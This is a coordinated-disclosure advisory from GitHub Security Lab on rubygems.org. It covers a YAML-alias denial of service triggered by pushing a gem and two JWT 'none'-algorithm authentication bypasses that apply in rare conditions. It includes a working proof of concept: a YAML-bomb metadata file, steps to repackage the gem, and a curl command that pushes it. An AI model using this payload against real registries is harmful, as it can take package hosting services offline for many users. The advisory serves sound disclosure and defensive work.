Coordinated Disclosure Timeline

Summary

A Remote DoS vulnerability and potential authentication bypasses were found in RubyGems.org, the project powering the Ruby community’s gem hosting service at rubygems.org.

Note: The potential authentication bypasses (GHSL-2024-002 & GHSL-2024-003) were confirmed as not exploitable on the RubyGems.org production instance(s). Hardening against potential future exploitations (due to changed circumstances) was put in place.

Project

rubygems.org

Tested Version

master branch (commit 400adea7)

Details

Issue 1: Remote DoS when publishing a package (GHSL-2024-001)

A Gem publisher could have been able to cause a Remote denial of service (DoS) when publishing a Gem. This is due to how Ruby reads the Manifest of Gem files when using Gem::Specification.from_yaml. from_yaml makes use of SafeYAML.load which allows YAML aliases inside the YAML-based metadata of a gem. YAML aliases allow for Denial of Service attacks with so-called YAML-bombs (comparable to Billion laughs attacks).

def self.safe_load(input)
  ::Psych.safe_load(input, permitted_classes: PERMITTED_CLASSES, permitted_symbols: PERMITTED_SYMBOLS, aliases: true)
end

RubyGems.org Pusher uses the Ruby class Gem::Package internally to read the metadata file of a gem.

def pull_spec
  package = Gem::Package.new(body, gem_security_policy)
  @spec = package.spec
  @files = package.files
  validate_spec && serialize_spec
rescue StandardError => e
  notify <<~MSG, 422
    RubyGems.org cannot process this gem.
    Please try rebuilding it and installing it locally to make sure it's valid.
    Error:
    #{e.message}
  MSG
end

This can potentially lead to a complete Denial of Service of RubyGems.org if an attacker is able to occupy all workers by pushing several gems where their YAML metadata contains YAML-bombs.

Proof of concept

Following instructions show how to create a proof of concept file that leads to a denial of service of a worker process when published. A successful attack against a production server would require multiple requests using the same gem file.

  1. Create and build an own gem as usual (first bundle gem testdosgem, then inside the gem’s folder: gem build testdosgem.gemspec (some TODOs in the testdosgem.gemspec file need to be resolved before building))
  2. Untar built gem (tar -xvf testdosgem-0.1.0.gem).
  3. Delete the file called metadata.gz.
  4. Create a file called metadata with following contents:
--- !ruby/object:Gem::Specification
authors:
- a: &a [_,_,_,_,_,_,_,_,_,_,_,_,_,_,_]
- b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a]
- c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b,*b]
- d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c,*c]
- e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d,*d]
- f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e,*e]
- g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f,*f]
- h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g,*g]
- i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h,*h]
- j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i,*i]
- k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j,*j]
- l: &l [*k,*k,*k,*k,*k,*k,*k,*k,*k,*k]
  1. Compress the metadata file with gzip (gzip metadata).
  2. Decompress the checksums (gzip -d checksums.yaml.gz).
  3. Replace the metadata hashes inside of checksums.yaml with the new ones (output of shasum -a 256 metadata.gz and shasum -a 512 metadata.gz).
  4. Compress the gzip checksums.yaml file with gzip (gzip checksums.yaml)
  5. Tar all three files to create a valid gem tar cvf testdosgem-0.1.0.gem --directory=/<PATH-TO-FOLDER> metadata.gz data.tar.gz checksums.yaml.gz

This gem can then be pushed to the RubyGems server under test:

curl -H "Authorization: rubygems_<SECRET>" -H "content-type: application/octet-stream" --data-binary "@/<PATH>/testdosgem-0.1.0.gem" -X POST https://<RUBYGEMS-HOST>/api/v1/gems

(<SECRET>, <PATH> and <RUBYGEMS-HOST> need to be replaced with valid values.)

In our test setup it was enough to create one request for each worker to block it completely. If all workers were busy the RubyGems Rails app stopped responding.

Impact

This issue may lead to Denial of Service.

Issue 2: Authentication bypass in trusted publisher controller in rare circumstances (GHSL-2024-002)

RubyGems’ trusted publisher controller accepted JWTs with the none algorithm as valid under certain rare circumstances. This would have allowed an attacker to exchange a forged token with a valid API key, which they could have used to publish gems where trusted publishing is set up.

When a JWT is provided to the TrustedPublisherController it is first examined by decoding it without verification by the json-jwt library:

def decode_jwt
  @jwt = JSON::JWT.decode_compact_serialized(params.require(:jwt), :skip_verification)
rescue JSON::JWT::InvalidFormat, JSON::ParserError, ArgumentError
  # invalid base64 raises ArgumentError
  render_bad_request
end

Afterwards the issuer of the JWT is extracted and looked up in the Database where the correct provider is loaded (if it exists):

def find_provider
  @provider = OIDC::Provider.find_by!(issuer: @jwt[:iss])
end

Then the signature is verified against the JWKS (JSON Web Key Set) stored with the provider:

def verify_signature
  raise UnverifiedJWT, "Invalid time" unless (@jwt["nbf"]..@jwt["exp"]).cover?(Time.now.to_i)
  @jwt.verify!(@provider.jwks)
end

This works well in the happy case. The problem is that the JWT library (json-jwt) in use will allow JWTs with a none algorithm in case a nil JWKS is provided to the verify! method:

def verify!(public_key_or_secret, algorithms = nil)
  if alg&.to_sym == :none
    raise UnexpectedAlgorithm if public_key_or_secret
    signature == '' or raise VerificationFailed
  elsif algorithms.blank? || Array(algorithms).include?(alg&.to_sym)
    public_key_or_secret && valid?(public_key_or_secret) or
    raise VerificationFailed
  else
    raise UnexpectedAlgorithm.new('Unexpected alg header')
  end
end

The JWKs are set by the RefreshOIDCProviderJob:

  def perform(provider:)
    connection = Faraday.new(provider.issuer, request: { timeout: 2 }, headers: { "Accept" => "application/json" }) do |f|
      f.request :json
      f.response :logger, logger, headers: false, errors: true, bodies: true
      f.response :raise_error
      f.response :json, content_type: //
    end
    resp = connection.get("/.well-known/openid-configuration")

    provider.configuration = resp.body
    provider.configuration.validate!
    provider.jwks = connection.get(provider.configuration.jwks_uri).body

    provider.save!
  end

The circumstances where the JWKS is nil on a production instance are likely quite rare in reality: E.g.:

Impact

This issue might allow an attacker to publish a new version of a gem where trusted publishing is set up (as long as the database does not return a JWKS).

Issue 3: Authentication bypass in API key roles controller in rare circumstances (GHSL-2024-003)

Note: This issue is similar to GHSL-2024-002, but both the endpoint and the location where the error could be fixed are different. For a more thorough explanation please read GHSL-2024-002.

RubyGems’ API key roles controller accepted JWTs with the none algorithm as valid under certain rare circumstances. This could have allowed an attacker to exchange a forged token with a valid API key, which they could haved used to communicate with the RubyGems.org API. Depending on the configuration of the API Key role an attacker could have published or removed a gem and/or removed or added owners of a gem. This would have been only possible for gems, where an API Key role was set up and the JWKS of the OIDC provider returns nil.

When a JWT is provided to the Api::V1::OIDC::ApiKeyRolesController it is examined by and directly verified inside the decode_jwt method:

def decode_jwt
  @jwt = JSON::JWT.decode_compact_serialized(params.require(:jwt), @api_key_role.provider.jwks)
rescue JSON::ParserError
  raise UnverifiedJWT, "Invalid JSON"
end

As in GHSL-2024-002, this works well in the happy case. The problem is that the JWT library (json-jwt) in use will allow JWTs with a none algorithm in case a nil JWKS is provided to the internally used verify! method.

Impact

This issue might allow an attacker to publish a new version of a gem (depending on the configuration and as long as the database does not return a JWKS).

CVE

Credit

These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-001, GHSL-2024-002, or GHSL-2024-003 in any communication regarding these issues.